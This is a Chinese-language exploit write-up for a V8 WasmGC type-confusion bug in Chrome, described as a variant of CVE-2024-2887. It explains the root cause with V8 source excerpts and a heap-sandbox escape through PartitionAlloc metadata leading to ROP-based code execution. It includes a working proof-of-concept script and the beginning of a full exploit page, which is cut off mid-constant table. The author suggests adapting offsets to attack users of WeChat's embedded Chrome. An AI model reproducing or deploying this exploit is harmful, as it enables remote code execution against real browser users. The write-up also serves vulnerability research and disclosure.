Google Chrome RCE——CVE-2024-2887的变体漏洞


Chrome-RCE-Poc概述

  • 漏洞名称:Google Chrome 沙箱穿越
  • CVE编号:多个CVE组合攻击
  • 威胁类型:代码执行
  • 利用可能性:高
  • POC状态:已公开
  • 在野利用状态:未公开
  • EXP状态:已公开
  • 技术细节状态:已公开
  • 危害描述:攻击者可通过诱导用户打开恶意链接来利用此漏洞,从而获取敏感信息或代码执行。

This can be considered a variant bug of CVE-2024-2887 discovered by Manfred Paul and presented in Vancouver 2024.

复现

++Chrome版本v125.0.6422.113++
Exp中内核偏移量需满足chrome_leak & 0xffff == 0xfd00

提供个思路:
微信中内置浏览器为大版本122的Chrome,通过Debug找到该版本偏移量来进行利用,就可以在微信想给谁弹计算器就给谁弹了

概括

WASM 等递归规范类型id<-> wasm::HeapType/ wasm::ValueTypeJSWASM 的转换函数及其包装器(FromJS()(Wasm)JSToWasmObject()等)中的混淆,导致任意 WASM类型之间的类型混淆。
这可以被认为是 Manfred Paul 发现并在 2024 年温哥华会议上提出的CVE-2024-2887的变种漏洞。

Credit

独立安全研究员 Seunghyun Lee (@0x10n) 参加 SSD Secure DisclosureTyphoonPWN 2024

供应商回应

供应商已在 Google Chrome 版本 124 中发布了针对此漏洞的修复程序

受影响的版本

Google Chrome 123 及更早版本

技术分析

WasmGC 中的类型经过规范化,以允许跨模块类型检查。由于 WasmGC 允许同递归类型,因此需要支持位于不同模块中各自的递归组之间的类型比较。V8 通过将单个隔离中所有模块的所有类型“规范化”为唯一标识的索引uint32_t来实现这一点。此过程在https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/canonical-types.cc 中实现,但一个非常简单的 TL;DR 将是:

  1. 根据以下规则规范化递归组中的类型索引:
  2. 类型索引已定义(在其递归组之外)-> 使用已规范化的值
  3. 代表同一组内不同类型的类型索引 -> 从第一个类型计算相对类型索引并标记为相对
  4. 如果数据库中已存在规范化递归组,则使用已保存的索引
  5. 否则,将递归组保存到数据库中并创建新的索引(增量)
    通过这种方式,WasmGC 支持结构类型等价的概念——即,当以任何顺序规范化时(type $t1 (struct (mut i32) (mut i64))),来自模块 M1 的等价于(type $t2 (struct (mut i32) (mut i64)))来自模块 M2 的等价,将其扩展到更复杂的递归组,并且该想法仍然成立。
    全局规范化数据库由单例类管理TypeCanonicalizer
    TypeCanonicalizer* GetTypeCanonicalizer() {
      return GetWasmEngine()->type_canonicalizer();
    }
    
    class TypeCanonicalizer {
     public:
      static constexpr uint32_t kPredefinedArrayI8Index = 0;
      static constexpr uint32_t kPredefinedArrayI16Index = 1;
      static constexpr uint32_t kNumberOfPredefinedTypes = 2;
      //...
     private:
      //...
      std::vector<uint32_t> canonical_supertypes_;
      // Maps groups of size >=2 to the canonical id of the first type.
      std::unordered_map<CanonicalGroup, uint32_t, base::hash<CanonicalGroup>>
          canonical_groups_;
      // Maps group of size 1 to the canonical id of the type.
      std::unordered_map<CanonicalSingletonGroup, uint32_t,
                         base::hash<CanonicalSingletonGroup>>
          canonical_singleton_groups_;
      // ...
    };
    规范类型 ID uint32_t是类型的全局唯一ID代表隔离内的特定 WasmGC 类型。canonical_supertypes_是一个表示类型之间子类型关系的向量,其中canonical_supertypes_[sub] = supersub表示是(规范类型 ID 中的所有)super的超类型。

每个 WASM 模块都保存一个向量,用于将其内部类型索引转换为规范化类型索引:

struct V8_EXPORT_PRIVATE WasmModule {
  //...
  std::vector<TypeDefinition> types;  // by type index
  // Maps each type index to its global (cross-module) canonical index as per
  // isorecursive type canonicalization.
  std::vector<uint32_t> isorecursive_canonical_type_ids;
  //...
}

在这种情况下,isorecursive_canonical_type_ids[t] = c意味着类型索引t被规范化为类型 id c
注意,单个WASM模块可以拥有的最大类型索引数tkV8MaxWasmTypes,即1000000。这在解码阶段DecodeTypeSection()中强制执行。然而,一个重要的观察结果是,规范类型id没有以任何方式绑定到kV8MaxWasmTypes——它可以根据主机内存支持的大小增长到主机内存支持的最大数量,因此我们可以简单地制作更多具有不同类型的 WASM 模块。
快速外部引用可以查看如何isorecursive_canonical_type_ids使用返回WasmWrapperGraphBuilder::FromJS()、运行时函数WasmJSToWasmObject()调用JSToWasmObject()等。查看前者,我们看到以下代码:

Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,
             const wasm::WasmModule* module, Node* frame_state = nullptr) {
  switch (type.kind()) {
    case wasm::kRef:
    case wasm::kRefNull: {
      switch (type.heap_representation_non_shared()) {
        //...
        case wasm::HeapType::kNone:
        case wasm::HeapType::kNoFunc:
        case wasm::HeapType::kI31:
        case wasm::HeapType::kAny:
        case wasm::HeapType::kFunc:
        case wasm::HeapType::kStruct:
        case wasm::HeapType::kArray:
        case wasm::HeapType::kEq:
        default: {
          // Make sure ValueType fits in a Smi.
          static_assert(wasm::ValueType::kLastUsedBit + 1 <= kSmiValueSize);

          if (type.has_index()) {
            DCHECK_NOT_NULL(module);
            uint32_t canonical_index =
                module->isorecursive_canonical_type_ids[type.ref_index()];
            type = wasm::ValueType::RefMaybeNull(canonical_index,           // [!] canonical type id used as wasm::HeapType
                                                 type.nullability());
          }

          Node* inputs[] = {
              input, mcgraph()->IntPtrConstant(
                         IntToSmi(static_cast<int>(type.raw_bit_field())))};

          return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject,
                                               js_context, inputs, 2);
        }
      }
    }
    //...
  }
}

在 JS 到 Wasm 转换边界上,此函数已设置为运行。请注意,canonical_index引用类型的规范索引如何包装到wasm::ValueType::RefMaybeNull()并传递给运行时函数,WasmJSToWasmObject()最终达到JSToWasmObject()
wasm::ValueType定义如下:

// A ValueType is encoded by two components: a ValueKind and a heap
// representation (for reference types/rtts). Those are encoded into 32 bits
// using base::BitField. The underlying ValueKind enumeration includes four
// elements which do not strictly correspond to value types: the two packed
// types i8 and i16, the void type (for control structures), and a bottom value
// (for internal use).
// ValueType encoding includes an additional bit marking the index of a type as
// relative. This should only be used during type canonicalization.
class ValueType {
 public:
  //...
  static constexpr ValueType RefMaybeNull(uint32_t heap_type,
                                          Nullability nullability) {
    DCHECK(HeapType(heap_type).is_valid());
    return ValueType(
        KindField::encode(nullability == kNullable ? kRefNull : kRef) |
        HeapTypeField::encode(heap_type));                                          // [!]
  }
  //...
  /**************************** Static constants ******************************/
  static constexpr int kLastUsedBit = 25;
  static constexpr int kKindBits = 5;
  static constexpr int kHeapTypeBits = 20;

  static const intptr_t kBitFieldOffset;

 private:
  // {hash_value} directly reads {bit_field_}.
  friend size_t hash_value(ValueType type);

  using KindField = base::BitField<ValueKind, 0, kKindBits>;
  using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>;                   // [!] HeapType, 20 bits wide
  // Marks a type as a canonical type which uses an index relative to its
  // recursive group start. Used only during type canonicalization.
  using CanonicalRelativeField = HeapTypeField::Next<bool, 1>;
  //...
}

我们现在清楚地看到,heap_type实际上并非设计用于存储范围为 的规范类型 ID uint32_t,而是设计用于存储wasm::HeapType– 两种类型表示(规范化类型 ID 与类型索引)之间存在混淆。由于wasm::HeapType始终可以用 20 位表示,因此初始化程序(和 getter,在代码片段中省略)始终将此值截断为 20 位。

这导致了第一个可利用的漏洞——JS-to-Wasm 类型检查可能会混淆规范类型 idt1t2``if (t1 & 0xfffff) == (t2 & 0xfffff)。具体来说,对于经过类型检查以接收规范类型 id 的对象tn = t0 + 0x100000 * n其中0 < t0 < 0x100000,它会改为使用截断的执行运行时类型检查t0。简而言之,类型t0及其子类型的对象可以绕过类型检查tn并通过 JS-to-Wasm 转换,从而导致进一步的类型混淆。

但是还有另一个可利用的漏洞,比使用索引环绕要简单得多。代码将规范类型 id 与 混淆wasm::HeapType,那么是否存在将规范类型 id 误用为 的情况wasm::HeapType?当然有,按照调用链进行操作即可JSToWasmObject()

class HeapType {
 public:
  enum Representation : uint32_t {
    kFunc = kV8MaxWasmTypes,  // shorthand: c
    kEq,                      // shorthand: q
    kI31,                     // shorthand: j
    kStruct,                  // shorthand: o
    kArray,                   // shorthand: g
    kAny,                     //                                    // [!] top type ("any")
    kExtern,                  // shorthand: a.
    //...
  };
  //...
}

namespace wasm {
MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,
                                   ValueType expected_canonical,
                                   const char** error_message) {
  //...
  switch (expected_canonical.heap_representation_non_shared()) {
    //...
    case HeapType::kAny: {                                          // [!] all non-null JS values allowed
      if (IsSmi(*value)) return CanonicalizeSmi(value, isolate);
      if (IsHeapNumber(*value)) {
        return CanonicalizeHeapNumber(value, isolate);
      }
      if (!IsNull(*value, isolate)) return value;
      *error_message = "null is not allowed for (ref any)";
      return {};
    }
    //...
  }
  //...
}

这导致了第二个更简单的漏洞——JS-to-Wasm 类型检查将(截断的)规范类型 id 混淆为wasm::HeapType。这允许所有具有规范类型 id 的类型tn = kAny + 0x100000 * n(其中kAny = 1000005)允许 的所有子类型any,并且由于any是顶级类型,因此它包括所有内容(除了 null,我们无论如何都不需要它)。

我们有一个非常简单但强大的利用原语,因为我们在 WASM 对象之间有任意类型混淆。利用这一点来获取基本的漏洞构造(例如,笼状 RW、)addrOf()fakeObj()https://www.zerodayinitiative.com/blog/2024/5/2/cve-2024-2887-a-pwn2own-winning-bug-in-google-chrome 中有很好的解释——简短的总结就是造成(type $t1 (struct (mut i32)))(type $t2 (struct (ref $t1)))和之间的混淆(type $t3 (struct (exnref)))(每个都对应于int,int*,jsobj)
现在剩下的就是逃离 v8 堆沙箱。与缺乏公开的技术相反,逃离 v8 堆沙箱似乎仍然是一项简单的任务 - 滥用 PartitionAlloc。

Exploit

滥用 PartitionAlloc 元数据进行任意地址写入

PartitionAlloc 似乎是 v8 堆沙箱逃逸的一个未经充分研究的攻击向量,可能是因为它不包含在 4GB v8 指针压缩框架中。然而,它仍然在 1TB v8 堆沙箱中,很容易访问(指针压缩框架 <-> 堆沙箱不是安全边界),并且有大量的外部指针,这些指针可以直接使用,而没有任何有意义的缓解措施。

通过修改ArrayBuffer对象字段(通过addrOf()+ caged_write()),特别是backing_store字段,很容易获得对 PartitionAlloc 元数据的控制权。这会立即导致chrome.dll地址泄漏SlotSpanMetadata::bucket

struct SlotSpanMetadata {
 private:
  PartitionFreelistEntry* freelist_head = nullptr;

 public:
  // TODO(lizeb): Make as many fields as possible private or const, to
  // encapsulate things more clearly.
  SlotSpanMetadata* next_slot_span = nullptr;
  PartitionBucket* const bucket = nullptr;                                        // [!] chrome.dll address leak

  // CHECK()ed in AllocNewSlotSpan().
  // The maximum number of bits needed to cover all currently supported OSes.
  static constexpr size_t kMaxSlotsPerSlotSpanBits = 13;
  static_assert(kMaxSlotsPerSlotSpan < (1 << kMaxSlotsPerSlotSpanBits), "");

  // |marked_full| isn't equivalent to being full. Slot span is marked as full
  // iff it isn't on the active slot span list (or any other list).
  uint32_t marked_full : 1;
  // |num_allocated_slots| is 0 for empty or decommitted slot spans, which can
  // be further differentiated by checking existence of the freelist.
  uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits;
  uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits;

 private:
  const uint32_t can_store_raw_size_ : 1;
  uint32_t freelist_is_sorted_ : 1;
  uint32_t unused1_ : (32 - 1 - 2 * kMaxSlotsPerSlotSpanBits - 1 - 1);
  // If |in_empty_cache_|==1, |empty_cache_index| is undefined and mustn't be
  // used.
  uint16_t in_empty_cache_ : 1;
  uint16_t empty_cache_index_
      : kMaxEmptyCacheIndexBits;  // < kMaxFreeableSpans.
  uint16_t unused2_ : (16 - 1 - kMaxEmptyCacheIndexBits);
  // Can use only 48 bits (6B) in this bitfield, as this structure is embedded
  // in PartitionPage which has 2B worth of fields and must fit in 32B.
  //...
}

由于bucket稍后会取消引用并写入,因此我们将目标锁定在该字段。下面是释放对象的代码片段:

PA_ALWAYS_INLINE void SlotSpanMetadata::Free(
    uintptr_t slot_start,
    PartitionRoot* root,
    const PartitionFreelistDispatcher* freelist_dispatcher)
    // PartitionRootLock() is not defined inside partition_page.h, but
    // static analysis doesn't require the implementation.
    PA_EXCLUSIVE_LOCKS_REQUIRED(PartitionRootLock(root)) {
  //...
  if (PA_UNLIKELY(marked_full || num_allocated_slots == 0)) {
    FreeSlowPath(1);                                            // [!] target path
  } else {
    // All single-slot allocations must go through the slow path to
    // correctly update the raw size.
    PA_DCHECK(!CanStoreRawSize());
  }
}

void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) {
  //...
  if (marked_full) {
    //...
    marked_full = 0;
    //...
    if (PA_LIKELY(bucket->active_slot_spans_head != get_sentinel_slot_span())) {
      next_slot_span = bucket->active_slot_spans_head;
    }
    bucket->active_slot_spans_head = this;                      // [!] arbitrary address write
    PA_CHECK(bucket->num_full_slot_spans);  // Underflow.       // [!] constraint
    --bucket->num_full_slot_spans;                              // [!] arbitrary address decr (24bit int)
  }

  if (PA_LIKELY(num_allocated_slots == 0)) {
    //...
    if (PA_LIKELY(this == bucket->active_slot_spans_head)) {
      bucket->SetNewActiveSlotSpan();
    }
    //...
  }
}

bool PartitionBucket::SetNewActiveSlotSpan() {
  //...
  for (; slot_span; slot_span = next_slot_span) {
    next_slot_span = slot_span->next_slot_span;                 // [!] constraint: target should be zero
    //...
    if (slot_span->is_active()) {                               // [!] constraint: false on zeros
      //...
    } else if (slot_span->is_empty()) {                         // [!] arbitrary write
      slot_span->next_slot_span = empty_slot_spans_head;
      empty_slot_spans_head = slot_span;
    } else if (PA_LIKELY(slot_span->is_decommitted())) {
      slot_span->next_slot_span = decommitted_slot_spans_head;  // [!] arbitrary write
      decommitted_slot_spans_head = slot_span;
    } else {
      //...
    }
  }
  //...
}

通过修改bucket字段并设置marked_fullslot span 元数据中的位,我们可以到达代码中,在FreeSlowPath()那里我们可以实现任意地址写入,写入的值是元数据地址。请注意立即数PA_CHECK()- 这是我们的目标地址必须满足的约束。随后立即进行任意地址递减,也可以根据需要使用(例如从CodePointerTables 中移出 JIT 代码地址)。

这个原语可以用来做任何我们想做的事情,甚至可以凭空创造出完全任意的值——一旦PA_CHECK()相邻的更高地址满足了约束,我们甚至可以通过反复将值逐一减少来“拉”到我们想要写入的位置,然后反复触发减少以创建任意值。

我们还可以采用PartitionBucket::SetNewActiveSlotSpan()路径,其中这是攻击者控制的PartitionBucket*。这允许在已经写入NULL的目标指针上使用任意值进行任意写入(加上一些容易满足的约束)。当我们希望在一个巨大的零区域的中间写入任意值,而PA_CHECK(bucket->num_full_slot_spans)可能难以满足时,这将补充上述原语。

Popping Shell

我们已经通过任意地址写入原语绕过了 v8sbx,剩下的就是使用漏洞原语来弹出 shell。

CodePointerTable通过劫持位于对象前方的程序即可获得完整的 RCE Sandbox

  1. 按要求准备ropchain、shellcode等
  2. 将 CPT 函数表基覆盖到我们控制的 ArrayBuffer 中,并用我们的 pivot gadget 填充
  3. 触发代码,通过 CPT 调用数据透视小工具(JSEntry()这是最简单的一个)
  • Gadget 将堆栈转到 ropchain,将 shellcode 区域设置为可执行文件并返回到 shellcode
    // poc.js
    // kNumberOfPredefinedTypes = 2
    
    // stack up 1000000 more canonicalized types (total 1000002)
    {
      const builder = new WasmModuleBuilder();
      builder.startRecGroup();
      for (let i = 0; i < 1000000; i++) {
        builder.addArray(kWasmI64);
      }
      builder.endRecGroup();
      builder.instantiate();
    }
    
    // confuse argument as struct (mut i32) by aliasing canonicalized type with kAny
    {
      let builder = new WasmModuleBuilder();
      builder.startRecGroup();
      builder.addArray(kWasmI64); // 1000002
      builder.addArray(kWasmI64); // 1000003
      builder.addArray(kWasmI64); // 1000004
      let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny
      let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006
      builder.endRecGroup();
      builder
        .addFunction("read", funcSig)
        .addBody([
          kExprLocalGet,
          0,
          kGCPrefix,
          kExprStructGet,
          struct,
          ...wasmUnsignedLeb(0),
        ])
        .exportFunc();
      const instance = builder.instantiate();
      const wasm = instance.exports;
    
      // this should obviously fail, instead of reading from the given JS object (or smi)
      // instead we segfault on the smi as caged offset
      console.log(wasm.read(0).toString(16));
    }
    
    // FromJS / WasmJSToWasmObject is mistaking canonicalized type indexes as normal type indexes.
    // This confusion also results in the value to be truncated to 20bits (= 0x100000 = 1048576) since
    //  ValueType is used to represent the type indexes, so we can even cycle back to 0 and create more
    //  types that are confused as kAny.
    // => Arbitrary WASM type confusion, variant of @_manfp's CVE-2024-2887 at Pwn2Own Vancouver 2024
    <!-- exp.html -->
    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>TyphoonPWN 2024 Exploit</title>
      </head>
      <body>
        <textarea
          id="log"
          rows="30"
          cols="120"
          style="
            font-family: Consolas, Monaco, Lucida Console, Liberation Mono,
              DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace;
          "
        ></textarea>
        <script>
          // Copyright 2016 the V8 project authors. All rights reserved.
          // Use of this source code is governed by a BSD-style license that can be
          // found in the LICENSE file.
          // Used for encoding f32 and double constants to bits.
          let byte_view = new Uint8Array(8);
          let data_view = new DataView(byte_view.buffer);
          // The bytes function receives one of
          //  - several arguments, each of which is either a number or a string of length
          //    1; if it's a string, the charcode of the contained character is used.
          //  - a single array argument containing the actual arguments
          //  - a single string; the returned buffer will contain the char codes of all
          //    contained characters.
          function bytes(...input) {
            if (input.length == 1 && typeof input[0] == "array") input = input[0];
            if (input.length == 1 && typeof input[0] == "string") {
              let len = input[0].length;
              let view = new Uint8Array(len);
              for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
              return view.buffer;
            }
            let view = new Uint8Array(input.length);
            for (let i = 0; i < input.length; i++) {
              let val = input[i];
              if (typeof val == "string") {
                if (val.length != 1) {
                  throw new Error("string inputs must have length 1");
                }
                val = val.charCodeAt(0);
              }
              view[i] = val | 0;
            }
            return view.buffer;
          }
          // Header declaration constants
          var kWasmH0 = 0;
          var kWasmH1 = 0x61;
          var kWasmH2 = 0x73;
          var kWasmH3 = 0x6d;
          var kWasmV0 = 0x1;
          var kWasmV1 = 0;
          var kWasmV2 = 0;
          var kWasmV3 = 0;
          var kHeaderSize = 8;
          var kPageSize = 65536;
          var kSpecMaxPages = 65536;
          var kMaxVarInt32Size = 5;
          var kMaxVarInt64Size = 10;
          let kDeclNoLocals = 0;
          // Section declaration constants
          let kUnknownSectionCode = 0;
          let kTypeSectionCode = 1; // Function signature declarations
          let kImportSectionCode = 2; // Import declarations
          let kFunctionSectionCode = 3; // Function declarations
          let kTableSectionCode = 4; // Indirect function table and other tables
          let kMemorySectionCode = 5; // Memory attributes
          let kGlobalSectionCode = 6; // Global declarations
          let kExportSectionCode = 7; // Exports
          let kStartSectionCode = 8; // Start function declaration
          let kElementSectionCode = 9; // Elements section
          let kCodeSectionCode = 10; // Function code
          let kDataSectionCode = 11; // Data segments
          let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
          let kTagSectionCode = 13; // Tag section (between Memory & Global)
          let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
          let kLastKnownSectionCode = 14;
          // Name section types
          let kModuleNameCode = 0;
          let kFunctionNamesCode = 1;
          let kLocalNamesCode = 2;
          let kWasmFunctionTypeForm = 0x60;
          let kWasmStructTypeForm = 0x5f;
          let kWasmArrayTypeForm = 0x5e;
          let kWasmSubtypeForm = 0x50;
          let kWasmSubtypeFinalForm = 0x4f;
          let kWasmRecursiveTypeGroupForm = 0x4e;
          let kNoSuperType = 0xffffffff;
          let kLimitsNoMaximum = 0x00;
          let kLimitsWithMaximum = 0x01;
          let kLimitsSharedNoMaximum = 0x02;
          let kLimitsSharedWithMaximum = 0x03;
          let kLimitsMemory64NoMaximum = 0x04;
          let kLimitsMemory64WithMaximum = 0x05;
          let kLimitsMemory64SharedNoMaximum = 0x06;
          let kLimitsMemory64SharedWithMaximum = 0x07;
          // Segment flags
          let kActiveNoIndex = 0;
          let kPassive = 1;
          let kActiveWithIndex = 2;
          let kDeclarative = 3;
          let kPassiveWithElements = 5;
          let kDeclarativeWithElements = 7;
          // Function declaration flags
          let kDeclFunctionName = 0x01;
          let kDeclFunctionImport = 0x02;
          let kDeclFunctionLocals = 0x04;
          let kDeclFunctionExport = 0x08;
          // Value types and related
          let kWasmVoid = 0x40;
          let kWasmI32 = 0x7f;
          let kWasmI64 = 0x7e;
          let kWasmF32 = 0x7d;
          let kWasmF64 = 0x7c;
          let kWasmS128 = 0x7b;
          let kWasmI8 = 0x78;
          let kWasmI16 = 0x77;
          // These are defined as negative integers to distinguish them from positive type
          // indices.
          let kWasmNullFuncRef = -0x0d;
          let kWasmNullExternRef = -0x0e;
          let kWasmNullRef = -0x0f;
          let kWasmFuncRef = -0x10;
          let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
          let kWasmExternRef = -0x11;
          let kWasmAnyRef = -0x12;
          let kWasmEqRef = -0x13;
          let kWasmI31Ref = -0x14;
          let kWasmStructRef = -0x15;
          let kWasmArrayRef = -0x16;
          let kWasmExnRef = -0x17;
          let kWasmStringRef = -0x19;
          let kWasmStringViewWtf8 = -0x1a;
          let kWasmStringViewWtf16 = -0x1e;
          let kWasmStringViewIter = -0x1f;
          // Use the positive-byte versions inside function bodies.
          let kLeb128Mask = 0x7f;
          let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
          let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
          let kExternRefCode = kWasmExternRef & kLeb128Mask;
          let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
          let kEqRefCode = kWasmEqRef & kLeb128Mask;
          let kI31RefCode = kWasmI31Ref & kLeb128Mask;
          let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
          let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
          let kStructRefCode = kWasmStructRef & kLeb128Mask;
          let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
          let kExnRefCode = kWasmExnRef & kLeb128Mask;
          let kNullRefCode = kWasmNullRef & kLeb128Mask;
          let kStringRefCode = kWasmStringRef & kLeb128Mask;
          let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
          let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
          let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
          let kWasmRefNull = 0x63;
          let kWasmRef = 0x64;
          function wasmRefNullType(heap_type) {
            return { opcode: kWasmRefNull, heap_type: heap_type };
          }
          function wasmRefType(heap_type) {
            return { opcode: kWasmRef, heap_type: heap_type };
          }
          let kExternalFunction = 0;
          let kExternalTable = 1;
          let kExternalMemory = 2;
          let kExternalGlobal = 3;
          let kExternalTag = 4;
          let kTableZero = 0;
          let kMemoryZero = 0;
          let kSegmentZero = 0;
          let kExceptionAttribute = 0;
          // Useful signatures
          let kSig_i_i = makeSig([kWasmI32], [kWasmI32]);
          let kSig_l_l = makeSig([kWasmI64], [kWasmI64]);
          let kSig_i_l = makeSig([kWasmI64], [kWasmI32]);
          let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);
          let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
          let kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);
          let kSig_l_i = makeSig([kWasmI32], [kWasmI64]);
          let kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);
          let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);
          let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);
          let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);
          let kSig_v_v = makeSig([], []);
          let kSig_i_v = makeSig([], [kWasmI32]);
          let kSig_l_v = makeSig([], [kWasmI64]);
          let kSig_f_v = makeSig([], [kWasmF32]);
          let kSig_d_v = makeSig([], [kWasmF64]);
          let kSig_v_i = makeSig([kWasmI32], []);
          let kSig_v_ii = makeSig([kWasmI32, kWasmI32], []);
          let kSig_v_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], []);
          let kSig_v_l = makeSig([kWasmI64], []);
          let kSig_v_li = makeSig([kWasmI64, kWasmI32], []);
          let kSig_v_lii = makeSig([kWasmI64, kWasmI32, kWasmI32], []);
          let kSig_v_d = makeSig([kWasmF64], []);
          let kSig_v_dd = makeSig([kWasmF64, kWasmF64], []);
          let kSig_v_ddi = makeSig([kWasmF64, kWasmF64, kWasmI32], []);
          let kSig_ii_v = makeSig([], [kWasmI32, kWasmI32]);
          let kSig_iii_v = makeSig([], [kWasmI32, kWasmI32, kWasmI32]);
          let kSig_ii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32]);
          let kSig_iii_i = makeSig([kWasmI32], [kWasmI32, kWasmI32, kWasmI32]);
          let kSig_ii_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32, kWasmI32]);
          let kSig_iii_ii = makeSig(
            [kWasmI32, kWasmI32],
            [kWasmI32, kWasmI32, kWasmI32]
          );
          let kSig_v_f = makeSig([kWasmF32], []);
          let kSig_f_f = makeSig([kWasmF32], [kWasmF32]);
          let kSig_f_d = makeSig([kWasmF64], [kWasmF32]);
          let kSig_d_d = makeSig([kWasmF64], [kWasmF64]);
          let kSig_r_r = makeSig([kWasmExternRef], [kWasmExternRef]);
          let kSig_a_a = makeSig([kWasmAnyFunc], [kWasmAnyFunc]);
          let kSig_i_r = makeSig([kWasmExternRef], [kWasmI32]);
          let kSig_v_r = makeSig([kWasmExternRef], []);
          let kSig_v_a = makeSig([kWasmAnyFunc], []);
          let kSig_v_rr = makeSig([kWasmExternRef, kWasmExternRef], []);
          let kSig_v_aa = makeSig([kWasmAnyFunc, kWasmAnyFunc], []);
          let kSig_r_v = makeSig([], [kWasmExternRef]);
          let kSig_a_v = makeSig([], [kWasmAnyFunc]);
          let kSig_a_i = makeSig([kWasmI32], [kWasmAnyFunc]);
          let kSig_s_i = makeSig([kWasmI32], [kWasmS128]);
          let kSig_i_s = makeSig([kWasmS128], [kWasmI32]);
          function makeSig(params, results) {
            return { params: params, results: results };
          }
          function makeSig_v_x(x) {
            return makeSig([x], []);
          }
          function makeSig_x_v(x) {
            return makeSig([], [x]);
          }
          function makeSig_v_xx(x) {
            return makeSig([x, x], []);
          }
          function makeSig_r_v(r) {
            return makeSig([], [r]);
          }
          function makeSig_r_x(r, x) {
            return makeSig([x], [r]);
          }
          function makeSig_r_xx(r, x) {
            return makeSig([x, x], [r]);
          }
          // Opcodes
          const kWasmOpcodes = {
            Unreachable: 0x00,
            Nop: 0x01,
            Block: 0x02,
            Loop: 0x03,
            If: 0x04,
            Else: 0x05,
            Try: 0x06,
            TryTable: 0x1f,
            ThrowRef: 0x0a,
            Catch: 0x07,
            Throw: 0x08,
            Rethrow: 0x09,
            CatchAll: 0x19,
            End: 0x0b,
            Br: 0x0c,
            BrIf: 0x0d,
            BrTable: 0x0e,
            Return: 0x0f,
            CallFunction: 0x10,
            CallIndirect: 0x11,
            ReturnCall: 0x12,
            ReturnCallIndirect: 0x13,
            CallRef: 0x14,
            ReturnCallRef: 0x15,
            NopForTestingUnsupportedInLiftoff: 0x16,
            Delegate: 0x18,
            Drop: 0x1a,
            Select: 0x1b,
            SelectWithType: 0x1c,
            LocalGet: 0x20,
            LocalSet: 0x21,
            LocalTee: 0x22,
            GlobalGet: 0x23,
            GlobalSet: 0x24,
            TableGet: 0x25,
            TableSet: 0x26,
            I32LoadMem: 0x28,
            I64LoadMem: 0x29,
            F32LoadMem: 0x2a,
            F64LoadMem: 0x2b,
            I32LoadMem8S: 0x2c,
            I32LoadMem8U: 0x2d,
            I32LoadMem16S: 0x2e,
            I32LoadMem16U: 0x2f,
            I64LoadMem8S: 0x30,
            I64LoadMem8U: 0x31,
            I64LoadMem16S: 0x32,
            I64LoadMem16U: 0x33,
            I64LoadMem32S: 0x34,
            I64LoadMem32U: 0x35,
            I32StoreMem: 0x36,
            I64StoreMem: 0x37,
            F32StoreMem: 0x38,
            F64StoreMem: 0x39,
            I32StoreMem8: 0x3a,
            I32StoreMem16: 0x3b,
            I64StoreMem8: 0x3c,
            I64StoreMem16: 0x3d,
            I64StoreMem32: 0x3e,
            MemorySize: 0x3f,
            MemoryGrow: 0x40,
            I32Const: 0x41,
            I64Const: 0x42,
            F32Const: 0x43,
            F64Const: 0x44,
            I32Eqz: 0x45,
            I32Eq: 0x46,
            I32Ne: 0x47,
            I32LtS: 0x48,
            I32LtU: 0x49,
            I32GtS: 0x4a,
            I32GtU: 0x4b,
            I32LeS: 0x4c,
            I32LeU: 0x4d,
            I32GeS: 0x4e,
            I32GeU: 0x4f,
            I64Eqz: 0x50,
            I64Eq: 0x51,
            I64Ne: 0x52,
            I64LtS: 0x53,
            I64LtU: 0x54,
            I64GtS: 0x55,
            I64GtU: 0x56,
            I64LeS: 0x57,
            I64LeU: 0x58,
            I64GeS: 0x59,
            I64GeU: 0x5a,
            F32Eq: 0x5b,
            F32Ne: 0x5c,
            F32Lt: 0x5d,
            F32Gt: 0x5e,
            F32Le: 0x5f,
            F32Ge: 0x60,
            F64Eq: 0x61,
            F64Ne: 0x62,
            F64Lt: 0x63,
            F64Gt: 0x64,
            F64Le: 0x65,
            F64Ge: 0x66,
            I32Clz: 0x67,
            I32Ctz: 0x68,
            I32Popcnt: 0x69,
            I32Add: 0x6a,
            I32Sub: 0x6b,
            I32Mul: 0x6c,
            I32DivS: 0x6d,
            I32DivU: 0x6e,
            I32RemS: 0x6f,
            I32RemU: 0x70,
            I32And: 0x71,
            I32Ior: 0x72,
            I32Xor: 0x73,
            I32Shl: 0x74,
            I32ShrS: 0x75,
            I32ShrU: 0x76,
            I32Rol: 0x77,
